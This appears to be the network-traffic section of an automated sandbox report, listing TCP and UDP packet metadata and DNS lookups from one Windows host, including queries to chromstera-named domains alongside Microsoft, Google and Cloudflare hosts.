Oct 28, 2024 19:13:08.915776014 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.033245087 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.033811092 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.033865929 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.034411907 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.034425020 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.040611982 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.041022062 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.041040897 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.041613102 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.041616917 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.174283028 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.174318075 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.174381971 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.174385071 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.174433947 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.174710989 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.174751043 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.174777985 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.174793005 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.177534103 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.177555084 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.177608013 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.177623034 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.177659035 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.177817106 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.177834034 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.177849054 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.177855015 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.177968979 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.178008080 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.178066969 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.178195000 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.178209066 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.180155039 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.180227995 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.180284977 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.180433035 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.180458069 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.445590973 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.446158886 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.446204901 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.446563005 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.446568966 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.523032904 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.523257971 CET	59303	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.523274899 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.523606062 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.523921967 CET	59303	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.523981094 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.529184103 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.529490948 CET	59304	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.529516935 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.529987097 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.530281067 CET	59304	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.530364037 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.560710907 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.561258078 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.561264992 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.563020945 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.563024998 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.572644949 CET	59303	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.572645903 CET	59304	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.585978031 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.586061001 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.586319923 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.586319923 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.586410999 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.586462975 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.589104891 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.589195013 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.589318037 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.589456081 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.589462042 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.590823889 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.591636896 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.591636896 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.591659069 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.591694117 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.700372934 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.700505972 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.700738907 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.700738907 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.700767994 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.700781107 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.703715086 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.703753948 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.703905106 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.704046965 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.704058886 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.979263067 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.979337931 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.980123043 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.980123043 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.980123997 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.982918978 CET	59311	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.982947111 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:09.983088017 CET	59311	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.983238935 CET	59311	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:09.983253002 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.116391897 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.118535995 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.118557930 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.118614912 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.118623018 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.120059013 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.120634079 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.120671988 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.123025894 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.123034000 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.197643995 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.197714090 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.255160093 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.255238056 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.255383015 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.255544901 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.255544901 CET	59306	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.255559921 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.255568981 CET	443	59306	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.256673098 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.256745100 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.256858110 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.256906986 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.256970882 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.256970882 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.257009029 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.257045031 CET	59307	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.257061005 CET	443	59307	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.258644104 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.258690119 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.258857012 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.258979082 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.259006977 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.353194952 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.353740931 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.353786945 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.354187012 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.354191065 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.471467972 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.471968889 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.471993923 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.472476006 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.472481012 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.491530895 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.491631031 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.491779089 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.491837025 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.491851091 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.491862059 CET	59308	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.491866112 CET	443	59308	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.615745068 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.615825891 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.615891933 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.616117001 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.616137028 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.616142988 CET	59310	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.616147041 CET	443	59310	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.740515947 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.741049051 CET	59311	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.741072893 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.741513014 CET	59311	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.741517067 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.901302099 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.901381016 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:10.901506901 CET	59311	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.901757002 CET	59311	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:10.901772022 CET	443	59311	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:11.033288956 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:11.033816099 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:11.033847094 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:11.034271955 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:11.034284115 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:11.173716068 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:11.173867941 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:11.173955917 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:11.174067974 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:11.174099922 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:11.174124002 CET	59312	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:11.174139023 CET	443	59312	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:22.580668926 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:22.580770969 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:22.580827951 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:22.581038952 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:22.581120014 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:22.581182957 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:24.402502060 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:24.402575970 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:24.402638912 CET	59303	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:24.403019905 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:24.403116941 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:24.403255939 CET	59304	443	192.168.2.4	162.159.61.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 19:11:31.024566889 CET	51576	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:11:31.031095028 CET	56900	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:11:31.034113884 CET	53	51576	1.1.1.1	192.168.2.4
Oct 28, 2024 19:11:31.037179947 CET	60742	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:11:31.047364950 CET	53	60742	1.1.1.1	192.168.2.4
Oct 28, 2024 19:11:31.068006039 CET	53	56900	1.1.1.1	192.168.2.4
Oct 28, 2024 19:11:39.534620047 CET	138	138	192.168.2.4	192.168.2.255
Oct 28, 2024 19:12:00.449661970 CET	53	59572	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:00.478472948 CET	53	56254	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:02.096548080 CET	53	50849	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:12.660753012 CET	53	62065	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:19.237811089 CET	53	52631	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:38.239463091 CET	53	59448	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:42.300579071 CET	53	53057	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:48.145174980 CET	62721	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:48.145471096 CET	53800	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:48.152749062 CET	53	62721	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:48.153633118 CET	53	53800	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:50.327003956 CET	53	60990	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:51.605990887 CET	53855	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:51.606127024 CET	54492	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:51.606563091 CET	53077	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:51.606736898 CET	59604	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:51.613410950 CET	53	53855	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:51.613573074 CET	53	54492	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:51.614186049 CET	53	59604	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:51.614321947 CET	53	53077	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:51.800295115 CET	64260	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:51.803967953 CET	54950	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:51.808140993 CET	53	64260	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:51.811233044 CET	53	54950	1.1.1.1	192.168.2.4
Oct 28, 2024 19:13:00.280384064 CET	53	64493	1.1.1.1	192.168.2.4
Oct 28, 2024 19:13:07.091459990 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.703684092 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.706444025 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.706598043 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.706667900 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.771847010 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.772353888 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.773370028 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.773730040 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.775288105 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.775537968 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.902520895 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.904433966 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.904467106 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.904500961 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.904527903 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.904555082 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.904814959 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.904908895 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.907526016 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.909236908 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.912955046 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.913145065 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.035670996 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:08.073163986 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.912986994 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.913583040 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.914603949 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.044794083 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.045643091 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.045939922 CET	443	54985	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.046117067 CET	54985	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.229234934 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.516971111 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.517033100 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.517070055 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.517106056 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.517647028 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.519016027 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.519016027 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.519254923 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.523359060 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.643011093 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.643048048 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.643081903 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.643109083 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.643481970 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.643481970 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.644223928 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.647253036 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.648103952 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:09.648319006 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:09.979228020 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:10.011090040 CET	57399	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:10.027966976 CET	443	57399	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:10.057173967 CET	57399	443	192.168.2.4	162.159.61.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 19:11:31.024566889 CET	192.168.2.4	1.1.1.1	0x38a	Standard query (0)	chromsterabrowser.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:11:31.031095028 CET	192.168.2.4	1.1.1.1	0x5734	Standard query (0)	secure.chromstera.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:11:31.037179947 CET	192.168.2.4	1.1.1.1	0xf77	Standard query (0)	chromsteraupdates.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:48.145174980 CET	192.168.2.4	1.1.1.1	0xa913	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:48.145471096 CET	192.168.2.4	1.1.1.1	0xabb2	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 28, 2024 19:12:51.605990887 CET	192.168.2.4	1.1.1.1	0xf48c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.606127024 CET	192.168.2.4	1.1.1.1	0xa8c4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 28, 2024 19:12:51.606563091 CET	192.168.2.4	1.1.1.1	0xdf7b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.606736898 CET	192.168.2.4	1.1.1.1	0x319f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 28, 2024 19:12:51.800295115 CET	192.168.2.4	1.1.1.1	0xe8d4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.803967953 CET	192.168.2.4	1.1.1.1	0x4d3d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 19:11:31.047364950 CET	1.1.1.1	192.168.2.4	0xf77	No error (0)	chromsteraupdates.com		104.21.8.139	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:11:31.047364950 CET	1.1.1.1	192.168.2.4	0xf77	No error (0)	chromsteraupdates.com		172.67.139.132	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:11:31.068006039 CET	1.1.1.1	192.168.2.4	0x5734	No error (0)	secure.chromstera.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:11:31.068006039 CET	1.1.1.1	192.168.2.4	0x5734	No error (0)	secure.chromstera.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:46.632594109 CET	1.1.1.1	192.168.2.4	0xe4cd	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 19:12:48.152749062 CET	1.1.1.1	192.168.2.4	0xa913	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 19:12:48.152749062 CET	1.1.1.1	192.168.2.4	0xa913	No error (0)	googlehosted.l.googleusercontent.com		172.217.16.193	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:48.153633118 CET	1.1.1.1	192.168.2.4	0xabb2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 19:12:49.367346048 CET	1.1.1.1	192.168.2.4	0x262e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 19:12:49.367346048 CET	1.1.1.1	192.168.2.4	0x262e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.613410950 CET	1.1.1.1	192.168.2.4	0xf48c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.613410950 CET	1.1.1.1	192.168.2.4	0xf48c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.613573074 CET	1.1.1.1	192.168.2.4	0xa8c4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 28, 2024 19:12:51.614186049 CET	1.1.1.1	192.168.2.4	0x319f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 28, 2024 19:12:51.614321947 CET	1.1.1.1	192.168.2.4	0xdf7b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.614321947 CET	1.1.1.1	192.168.2.4	0xdf7b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:12:51.808140993 CET	1.1.1.1	192.168.2.4	0xe8d4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
